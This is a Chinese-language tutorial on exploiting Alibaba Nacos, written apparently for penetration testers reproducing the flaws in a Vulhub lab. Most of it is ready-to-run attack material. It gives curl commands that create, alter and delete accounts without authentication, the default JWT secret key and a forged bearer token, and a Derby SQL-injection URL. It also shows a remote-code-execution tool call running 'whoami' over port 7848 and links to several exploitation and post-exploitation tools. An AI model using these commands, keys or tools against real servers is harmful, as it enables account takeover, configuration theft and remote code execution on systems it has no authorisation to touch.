1 nacos介绍
1.1 nacos是啥
Alibaba Nacos是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
指纹:app=“nacos”
默认密码nacos nacos
1.2 环境搭建
参考:https://vulhub.org/#/docs/install-docker-one-click/
(1)先按照搭建地址上面的步骤一步一步安装docker容器,再把Vulhub下载到里面
(2)安装完成后,来到nacos的cve的文件夹下面,运行命令行搭建环境
cd /vulhub/nacos/CVE-2021-29441
docker-compose up -d
(3)访问你的nacos:http://你的环境ip:8848
(4)移除环境
docker-compose down
(5)也可以直接通过docker直接部署nacos
docker pull nacos/nacos-server:2.0.3
# Start nacos
docker run -d -p 8848:8848 -p 7848:7848 -e MODE=standalone -e PREFER_HOST_MODE=hostname --restart always --name nacos nacos/nacos-server:2.0.3
2 nacos漏洞
漏洞 | 漏洞探测方式 |
---|---|
CVE-2021-29441 Nacos权限认证绕过漏洞 | /nacos/v1/auth/users?pageNo=1&pageSize=1 |
secret.key 默认密钥 CNVD-2023674205 | /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt |
CVE-2021-29441 Nacos权限认证绕过漏洞 | curl “http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur” -H “serverIdentity: security” |
Nacos 集群 Raft 反序列化漏洞 CNVD-2023-45001 | 开放7848端口 |
sql注入 | derby数据库 /nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables |
2.1 未授权获取信息
(1)获取所有用户名和密码,虽然密码是加密的
/nacos/v1/auth/users?pageNo=1&pageSize=9
(2)获取集群信息
/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageS%20ize=10&keyword
2.2 未授权进行nacos账号的CRUD
(1)创建新账号
curl -X POST -d "username=xxxx&password=xxxx123" -H "User-Agent: Nacos-Server" "http://ip:8848//nacos/v1/auth/users"
(2)修改账号crow密码成功:
curl -X PUT "http://ip:8848/nacos/v1/auth/users?accessToken=" -H "User-Agent:Nacos-Server" -d "username=cxxw&newPassword=crxxx23"
(3)删除用户
curl -X DELETE "http://ip:8848/nacos/v1/auth/users?accessToken=" -H "User-Agent:Nacos-Server" -d "username=crxxxw"
2.3 nacos伪造token漏洞:token.secret.key默认配置(QVD-2023-6271)
在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中
默认的key:按照以下步骤伪造token
SecretKey012345678901234567890123456789012345678901234567890123456789
(1)选取时间戳,在这里注意:
使用网站http://shijianchuo.wiicha.com/计算时间戳,1719564997这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2024年06月27日16:56:37,在这里面的时间戳时间是6月28号了:
(2)伪造token
由于默认的token.secret.key指为下面所示
SecretKey012345678901234567890123456789012345678901234567890123456789
,然后使用https://jwt.io/网站进行token的伪造,注意填好以下3个值,选择base64 encoded,然后复制生成的token
(3)使用伪造的token进行登录
选择nacos账号登录,使用burp拦截,增加header,然后放行,就登录成功了
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MTk1NjQ5OTciLCJpYXQiOjE1MTYyMzkwMjJ9.RljLrkJzXw5uBzzEWh8ebIi4Fl1BfheW3gaZjv-Emq8
2.4 Nacos Hessian反序列化漏洞
(1)漏洞原理:
Nacos在处理某些基于Jraft的请求时,采用Hessian进行反序列化,但并未设置限制,导致应用存在远程代码执行漏洞。Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。
(2)漏洞探测
使用工具https://github.com/c0olw/NacosRce/releases,下载jar后,需要注意java8运行jar包
java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 "whoami"
2.5 其他综合工具使用结果
(1)NacosExploitGUI_v3.9.jar
地址: https://github.com/charonlight/NacosExploitGUI/releases/tag/v3.9
使用结果: 下载最新的jar包,双击打开NacosExploitGUI_v3.9.jar(java8)
(2)HKEcho_Nacos
地址: https://github.com/HKEcho5213/HKEcho_Nacos
检测漏洞列表:
以下漏洞顺序执行直到获取到一个账号:
0、未授权查看用户列表
1、检测nacos默认口令
2、任意用户添加
3、任意用户添加UA_Bypass
4、任意用户添加末尾斜杠绕过
5、默认JWT任意用户添加
6、JWT_Secret_Key硬编码绕过
7、Identity硬编码绕过
8、QVD-2023-6271身份认证绕过
一旦某个漏洞获取账号密码后,会调用a1phaboy师傅写的nacosleak读取配置文件
9、Nacos_Jraft_Hessian反序列化漏洞
程序会调用c0olw师傅写的NacosRce打一遍Jraft_Hessian反序列化漏洞(本工具在调用这个NacosRce工具前会判断Java环境,若不存在,则告警不执行)
使用步骤:
conda env list #使用虚拟python环境
activate py38
pip install -r requirements.txt
python HKEcho_Nacos.py -h
python HKEcho_Nacos.py -u http://192.2xx.2xx.1x:8848 单个目标检测
(3)nacos_vul
地址 :https://github.com/Pizz33/nacos_vul
使用结果: 待使用
(4)哥斯拉nacos后渗透插件
地址 : https://github.com/pap1rman/postnacos
**使用结果:待研究
(5)nuclei
待研究:
https://mp.weixin.qq.com/s/jovBE_wVIGl_e__fXm71bw
参考:
1.Nacos身份认证权限绕过+漏洞利用工具分享
2.云原⽣组件Nacos新型红队手法研究
3.从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具
4.Nacos漏洞复现总结----非常详细-再学习